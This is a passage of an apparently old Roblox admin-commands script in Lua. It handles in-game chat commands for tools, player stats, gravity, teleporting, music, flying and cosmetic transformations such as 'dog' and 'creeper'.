  1078. local plrz = GetPlr(plr, msg:lower():sub(8))
  1079. for i, v in pairs(plrz) do
  1080. coroutine.resume(coroutine.create(function()
  1081. if v and v:findFirstChild("Backpack") then
  1082. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1083. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1084. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1085. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1086. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1087. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1088. local sb
  1089. local hs
  1090. local pdist
  1091.  
  1092. script.Parent.Selected:connect(function(mouse)
  1093. if not mouse then return end
  1094. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1095. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1096. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1097. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1098. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1099. end)
  1100.  
  1101. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1102. end
  1103. end))
  1104. end
  1105. end
  1106.  
  1107. if msg:lower():sub(1,5) == "give " then
  1108. local chk1 = msg:lower():sub(6):find(" ") + 5
  1109. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1110. for i, v in pairs(plrz) do
  1111. coroutine.resume(coroutine.create(function()
  1112. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1113. for a, tool in pairs(game.Lighting:children()) do
  1114. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1115. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1116. end
  1117. end
  1118. end
  1119. end))
  1120. end
  1121. end
  1122.  
  1123. if msg:lower():sub(1,12) == "removetools " then
  1124. local plrz = GetPlr(plr, msg:lower():sub(13))
  1125. for i, v in pairs(plrz) do
  1126. coroutine.resume(coroutine.create(function()
  1127. if v and v.Character and v:findFirstChild("Backpack") then
  1128. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1129. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1130. end
  1131. end))
  1132. end
  1133. end
  1134.  
  1135. if msg:lower():sub(1,5) == "rank " then
  1136. local chk1 = msg:lower():sub(6):find(" ") + 5
  1137. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1138. for i, v in pairs(plrz) do
  1139. coroutine.resume(coroutine.create(function()
  1140. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1141. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1142. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1143. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1144. end
  1145. end))
  1146. end
  1147. end
  1148.  
  1149. if msg:lower():sub(1,7) == "damage " then
  1150. local chk1 = msg:lower():sub(8):find(" ") + 7
  1151. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1152. for i, v in pairs(plrz) do
  1153. coroutine.resume(coroutine.create(function()
  1154. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1155. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1156. end
  1157. end))
  1158. end
  1159. end
  1160.  
  1161. if msg:lower():sub(1,5) == "grav " then
  1162. local plrz = GetPlr(plr, msg:lower():sub(6))
  1163. for i, v in pairs(plrz) do
  1164. coroutine.resume(coroutine.create(function()
  1165. if v and v.Character and v.Character:findFirstChild("Torso") then
  1166. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1167. end
  1168. end))
  1169. end
  1170. end
  1171.  
  1172. if msg:lower():sub(1,8) == "setgrav " then
  1173. local chk1 = msg:lower():sub(9):find(" ") + 8
  1174. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1175. for i, v in pairs(plrz) do
  1176. coroutine.resume(coroutine.create(function()
  1177. if v and v.Character and v.Character:findFirstChild("Torso") then
  1178. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1179. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1180. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1181. end
  1182. end))
  1183. end
  1184. end
  1185.  
  1186. if msg:lower():sub(1,7) == "nograv " then
  1187. local plrz = GetPlr(plr, msg:lower():sub(8))
  1188. for i, v in pairs(plrz) do
  1189. coroutine.resume(coroutine.create(function()
  1190. if v and v.Character and v.Character:findFirstChild("Torso") then
  1191. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1192. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1193. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1194. end
  1195. end))
  1196. end
  1197. end
  1198.  
  1199. if msg:lower():sub(1,7) == "health " then
  1200. local chk1 = msg:lower():sub(8):find(" ") + 7
  1201. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1202. for i, v in pairs(plrz) do
  1203. coroutine.resume(coroutine.create(function()
  1204. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1205. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1206. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1207. end
  1208. end))
  1209. end
  1210. end
  1211.  
  1212. if msg:lower():sub(1,6) == "speed " then
  1213. local chk1 = msg:lower():sub(7):find(" ") + 6
  1214. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1215. for i, v in pairs(plrz) do
  1216. coroutine.resume(coroutine.create(function()
  1217. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1218. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1219. end
  1220. end))
  1221. end
  1222. end
  1223.  
  1224. if msg:lower():sub(1,5) == "team " then
  1225. local chk1 = msg:lower():sub(6):find(" ") + 5
  1226. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1227. for i, v in pairs(plrz) do
  1228. coroutine.resume(coroutine.create(function()
  1229. if v and game:findFirstChild("Teams") then
  1230. for a, tm in pairs(game.Teams:children()) do
  1231. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1232. end
  1233. end
  1234. end))
  1235. end
  1236. end
  1237.  
  1238. if msg:lower():sub(1,6) == "place " then
  1239. local chk1 = msg:lower():sub(7):find(" ") + 6
  1240. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1241. for i, v in pairs(plrz) do
  1242. coroutine.resume(coroutine.create(function()
  1243. if v and v:findFirstChild("PlayerGui") then
  1244. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1245. end
  1246. end))
  1247. end
  1248. end
  1249.  
  1250. if msg:lower():sub(1,3) == "tp " then
  1251. local chk1 = msg:lower():sub(4):find(" ") + 3
  1252. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1253. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1254. for i, v in pairs(plrz) do
  1255. coroutine.resume(coroutine.create(function()
  1256. for i2, v2 in pairs(plrz2) do
  1257. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1258. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1259. end
  1260. end
  1261. end))
  1262. end
  1263. end
  1264.  
  1265. if msg:lower():sub(1,7) == "change " then
  1266. local chk1 = msg:lower():sub(8):find(" ") + 7
  1267. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1268. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1269. for i, v in pairs(plrz) do
  1270. coroutine.resume(coroutine.create(function()
  1271. if v and v:findFirstChild("leaderstats") then
  1272. for a, st in pairs(v.leaderstats:children()) do
  1273. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1274. end
  1275. end
  1276. end))
  1277. end
  1278. end
  1279.  
  1280. if msg:lower():sub(1,6) == "shirt " then
  1281. local chk1 = msg:lower():sub(7):find(" ") + 6
  1282. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1283. for i, v in pairs(plrz) do
  1284. coroutine.resume(coroutine.create(function()
  1285. if v and v.Character then
  1286. for i,v in pairs(v.Character:children()) do
  1287. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1288. end
  1289. end
  1290. end))
  1291. end
  1292. end
  1293.  
  1294. if msg:lower():sub(1,6) == "pants " then
  1295. local chk1 = msg:lower():sub(7):find(" ") + 6
  1296. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1297. for i, v in pairs(plrz) do
  1298. coroutine.resume(coroutine.create(function()
  1299. if v and v.Character then
  1300. for i,v in pairs(v.Character:children()) do
  1301. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1302. end
  1303. end
  1304. end))
  1305. end
  1306. end
  1307.  
  1308. if msg:lower():sub(1,5) == "face " then
  1309. local chk1 = msg:lower():sub(6):find(" ") + 5
  1310. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1311. for i, v in pairs(plrz) do
  1312. coroutine.resume(coroutine.create(function()
  1313. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1314. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1315. end
  1316. end))
  1317. end
  1318. end
  1319.  
  1320. ------------------
  1321. -- Fun Commands --
  1322. ------------------
  1323. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1324.  
  1325. if msg:lower():sub(1,8) == "swagify " then
  1326. local plrz = GetPlr(plr, msg:lower():sub(9))
  1327. for i, v in pairs(plrz) do
  1328. coroutine.resume(coroutine.create(function()
  1329. if v and v.Character then
  1330. for i,v in pairs(v.Character:children()) do
  1331. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1332. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1333. end
  1334. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1335. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1336. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1337. local torso = plr.Character.Torso
  1338. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1339. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1340. p.Size = Vector3.new(.2,.2,.2)
  1341. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1342. local motor1 = Instance.new("Motor", p)
  1343. motor1.Part0 = p
  1344. motor1.Part1 = torso
  1345. motor1.MaxVelocity = .01
  1346. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1347. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1348. local wave = false
  1349. repeat wait(1/44)
  1350. local ang = 0.1
  1351. local oldmag = torso.Velocity.magnitude
  1352. local mv = .002
  1353. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1354. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1355. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1356. motor1.DesiredAngle = -ang
  1357. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1358. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1359. if torso.Velocity.magnitude < .1 then wait(.1) end
  1360. until not p or p.Parent ~= torso.Parent
  1361. script:Destroy()
  1362. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1363. end
  1364. end))
  1365. end
  1366. end
  1367.  
  1368. if msg:lower():sub(1,6) == "music " then
  1369. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1370. local id = msg:sub(7)
  1371. local pitch = 1
  1372. if tostring(id):lower():find("caramell") then id = 2303479 end
  1373. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1374. if tostring(id):find("rick") then id = 2027611 end
  1375. if tostring(id):find("halo") then id = 1034065 end
  1376. if tostring(id):find("pokemon") then id = 1372261 end
  1377. if tostring(id):find("cursed") then id = 1372257 end
  1378. if tostring(id):find("extreme") then id = 11420933 end
  1379. if tostring(id):find("awaken") then id = 27697277 end
  1380. if tostring(id):find("alone") then id = 27697392 end
  1381. if tostring(id):find("mario") then id = 1280470 end
  1382. if tostring(id):find("choir") then id = 1372258 end
  1383. if tostring(id):find("chrono") then id = 1280463 end
  1384. if tostring(id):find("dotr") then id = 11420922 end
  1385. if tostring(id):find("entertain") then id = 27697267 end
  1386. if tostring(id):find("fantasy") then id = 1280473 end
  1387. if tostring(id):find("final") then id = 1280414 end
  1388. if tostring(id):find("emblem") then id = 1372259 end
  1389. if tostring(id):find("flight") then id = 27697719 end
  1390. if tostring(id):find("banjo") then id = 27697298 end
  1391. if tostring(id):find("gothic") then id = 27697743 end
  1392. if tostring(id):find("hiphop") then id = 27697735 end
  1393. if tostring(id):find("intro") then id = 27697707 end
  1394. if tostring(id):find("mule") then id = 1077604 end
  1395. if tostring(id):find("film") then id = 27697713 end
  1396. if tostring(id):find("nezz") then id = 8610025 end
  1397. if tostring(id):find("angel") then id = 1372260 end
  1398. if tostring(id):find("resist") then id = 27697234 end
  1399. if tostring(id):find("schala") then id = 5985787 end
  1400. if tostring(id):find("organ") then id = 11231513 end
  1401. if tostring(id):find("tunnel") then id = 9650822 end
  1402. if tostring(id):find("spanish") then id = 5982975 end
  1403. if tostring(id):find("venom") then id = 1372262 end
  1404. if tostring(id):find("wind") then id = 1015394 end
  1405. if tostring(id):find("guitar") then id = 5986151 end
  1406. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1407. end
  1408.  
  1409. if msg:lower() == "stopmusic" then
  1410. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1411. end
  1412.  
  1413. if msg:lower() == "musiclist" then
  1414. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1415. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1416. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1417. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1418. end
  1419.  
  1420. if msg:lower():sub(1,4) == "fly " then
  1421. local plrz = GetPlr(plr, msg:lower():sub(5))
  1422. for i, v in pairs(plrz) do
  1423. coroutine.resume(coroutine.create(function()
  1424. if v and v:findFirstChild("PlayerGui") then
  1425. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  1426. cl.Parent = v.PlayerGui cl.Disabled = false
  1427. end
  1428. end))
  1429. end
  1430. end
  1431.  
  1432. if msg:lower():sub(1,6) == "unfly " then
  1433. local plrz = GetPlr(plr, msg:lower():sub(7))
  1434. for i, v in pairs(plrz) do
  1435. coroutine.resume(coroutine.create(function()
  1436. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1437. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1438. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1439. wait(.1) v.Character.Humanoid.PlatformStand = false
  1440. end
  1441. end))
  1442. end
  1443. end
  1444.  
  1445. if msg:lower() == "disco" then
  1446. for i, v in pairs(lobjs) do v:Destroy() end
  1447. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1448. game.Lighting.Ambient = color
  1449. game.Lighting.FogColor = color
  1450. until nil]]
  1451. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1452. end
  1453.  
  1454. if msg:lower() == "flash" then
  1455. for i, v in pairs(lobjs) do v:Destroy() end
  1456. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1457. game.Lighting.Ambient = Color3.new(1,1,1)
  1458. game.Lighting.FogColor = Color3.new(1,1,1)
  1459. game.Lighting.Brightness = 1
  1460. game.Lighting.TimeOfDay = 14
  1461. wait(.1)
  1462. game.Lighting.Ambient = Color3.new(0,0,0)
  1463. game.Lighting.FogColor = Color3.new(0,0,0)
  1464. game.Lighting.Brightness = 0
  1465. game.Lighting.TimeOfDay = 0
  1466. until nil]]
  1467. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1468. end
  1469.  
  1470. if msg:lower():sub(1,5) == "spin " then
  1471. local plrz = GetPlr(plr, msg:lower():sub(6))
  1472. for i, v in pairs(plrz) do
  1473. coroutine.resume(coroutine.create(function()
  1474. if v and v.Character and v.Character:findFirstChild("Torso") then
  1475. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1476. local torso = v.Character:findFirstChild("Torso")
  1477. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1478. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1479. until not bg or bg.Parent ~= torso
  1480. end
  1481. end))
  1482. end
  1483. end
  1484.  
  1485. if msg:lower():sub(1,7) == "unspin " then
  1486. local plrz = GetPlr(plr, msg:lower():sub(8))
  1487. for i, v in pairs(plrz) do
  1488. coroutine.resume(coroutine.create(function()
  1489. if v and v.Character and v.Character:findFirstChild("Torso") then
  1490. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1491. end
  1492. end))
  1493. end
  1494. end
  1495.  
  1496. if msg:lower():sub(1,4) == "dog " then
  1497. local plrz = GetPlr(plr, msg:lower():sub(5))
  1498. for i, v in pairs(plrz) do
  1499. coroutine.resume(coroutine.create(function()
  1500. if v and v.Character and v.Character:findFirstChild("Torso") then
  1501. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1502. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1503. v.Character.Torso.Transparency = 1
  1504. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1505. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1506. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1507. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1508. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1509. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1510. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1511. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1512. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1513. end
  1514. end))
  1515. end
  1516. end
  1517.  
  1518. if msg:lower():sub(1,6) == "undog " then
  1519. local plrz = GetPlr(plr, msg:lower():sub(7))
  1520. for i, v in pairs(plrz) do
  1521. coroutine.resume(coroutine.create(function()
  1522. if v and v.Character and v.Character:findFirstChild("Torso") then
  1523. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1524. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1525. v.Character.Torso.Transparency = 0
  1526. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1527. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1528. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1529. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1530. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1531. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1532. end
  1533. end))
  1534. end
  1535. end
  1536.  
  1537. if msg:lower():sub(1,8) == "creeper " then
  1538. local plrz = GetPlr(plr, msg:lower():sub(9))
  1539. for i, v in pairs(plrz) do
  1540. coroutine.resume(coroutine.create(function()
  1541. if v and v.Character and v.Character:findFirstChild("Torso") then
  1542. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1543. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1544. v.Character.Torso.Transparency = 0
  1545. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1546. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1547. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1548. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1549. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1550. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1551. end
  1552. end))
  1553. end
  1554. end
  1555.  
  1556. if msg:lower():sub(1,10) == "uncreeper " then
  1557. local plrz = GetPlr(plr, msg:lower():sub(11))
  1558. for i, v in pairs(plrz) do
  1559. coroutine.resume(coroutine.create(function()
  1560. if v and v.Character and v.Character:findFirstChild("Torso") then
  1561. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1562. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1563. v.Character.Torso.Transparency = 0
  1564. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1565. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1566. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1567. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1568. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
